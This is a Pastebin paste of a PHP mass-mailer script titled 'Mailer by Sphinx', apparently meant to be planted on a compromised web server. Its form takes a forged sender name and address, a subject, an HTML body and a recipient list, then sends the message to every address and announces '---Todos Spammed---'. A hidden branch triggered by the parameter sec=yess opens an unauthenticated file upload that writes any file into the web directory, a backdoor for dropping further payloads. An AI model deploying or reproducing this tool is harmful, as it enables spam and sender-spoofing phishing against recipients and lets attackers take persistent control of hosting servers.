Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(isset($_POST['Enoc']))
- {
- $auto = $_POST['Enoc'];
- $message = $_POST['html'];
- $subject = $_POST['assunto'];
- $de = $_POST['de'];
- $nombre = $_POST['RealName'];
- $ellos = $_POST['ellos'];
- $message = urlencode($message);
- $message = ereg_replace("%5C%22", "%22", $message);
- $message = urldecode($message);
- $message = stripslashes($message);
- }else{
- $testa ="";
- $message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
- $subject = $_SERVER["HTTP_HOST"];
- $nombre = "Moe Greene";
- $de = "is_a_t@unenvio.com";
- $ellos = "mail@hotmail.com";
- }
- ?>
- <html>
- <head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us">
- <title> Mailer by Sphinx</title></head>
- <body style="font-family: Arial; font-size: 11px">
- <form action="" method="post" enctype="multipart/form-data" name="form1">
- <div align="center">
- <table width="919" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal">
- <tr>
- <td height="194" valign="top" bgcolor="#FFFFFF" width="917">
- <table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal" height="277">
- <tr>
- <td width="8%" align="left" height="25">
- <table border="0" width="100%" id="table1">
- <tr>
- <td width="316">Email: <input name="de" type="text" class="form" id="de" size="30" value="<? print $de; ?>"></td>
- <td>Nombre: <input name="RealName" type="text" class="form" id="RealName" size="30" value="<? print $nombre; ?>"></td>
- </tr>
- </table>
- </td>
- </tr>
- <tr>
- <td align="left" height="25">Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<? print $subject; ?>"></td>
- </tr>
- <tr align="center" bgcolor="#FFAEAE">
- <td height="18" bgcolor="#C0C0C0"></td>
- </tr>
- <tr>
- <td height="65" align="right" valign="top">
- <p align="left">
- <textarea name="html" cols="66" rows="10" id="html"><? print $message; ?></textarea> <textarea rows="10" name="ellos" cols="35"><? print $ellos; ?></textarea></p>
- </td>
- </tr>
- <tr>
- <td height="54" valign="top">
- <p align="center"><br>
- <input type="submit" name="Enoc" value="Enviar"></td>
- </tr>
- </table>
- <?php
- if($auto){
- if(!isset($_GET['c']))
- {
- $email = explode("\n", $ellos);
- }else{
- $email = explode(",", $ellos);
- }
- $son = count($email);
- if(!isset($_GET['e'])){
- $header = "MIME-Version: 1.0\n";
- $header .= "Content-type: text/html; charset=iso-8859-1\n";
- $header .= "From: ".$nombre . " <" . $de . ">\n";
- $header .= "Reply-To: " . $de . "\n";
- $header .= "X-Priority: 3\n";
- $header .= "X-MSMail-Priority: Normal\n";
- $header .= "X-Mailer: ".$_SERVER["HTTP_HOST"];
- }else{
- $header ='MIME-Version: 1.0' . "\r\n";
- $header .= 'Content-type: text/html' . "\r\n";
- $header .="From: ".$de;
- }
- $i = 0;
- $voy = 1;
- while($email[$i]) {
- $mail = $email[$i];
- if(mail($mail, $subject, $message, $header)) {
- print "<font color=blue face=verdana size=1> $voy de $son
- ;-) $mail
- okey dokey!</font><br>";
- flush();
- } else {
- print "<font color=red face=verdana size=1> $voy de $son
- :-( $mail
- Error te digo altoquesein!!</font><br>";
- flush();
- }
- $i++;
- $voy++;
- }
- echo "<script> alert('---Todos Spammed---'); </script>";
- }
- if($_GET['sec']=='yess'){
- echo '<form action="" method="post" enctype="multipart/form-data">
- <input name="archivo" type="file" size="35" />
- <input name="enviar" type="submit" value="Upload File" />
- <input name="action" type="hidden" value="upload" />
- </form>';
- if ($_POST["action"] == "upload") {
- $tamano = $_FILES["archivo"]['size'];
- $tipo = $_FILES["archivo"]['type'];
- $archivo = $_FILES["archivo"]['name'];
- if ($archivo != "") {
- if (copy($_FILES['archivo']['tmp_name'],"./".$archivo)) {
- $status = "Archivo subido: <b>".$archivo."</b>";
- } else {
- $status = "Error al subir el archivo";
- }
- } else {
- $status = "Error al subir archivo";
- }
- echo $status;
- }
- }
- ?>
- </td>
- </tr>
- </table>
- </div>
- </body>
- </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement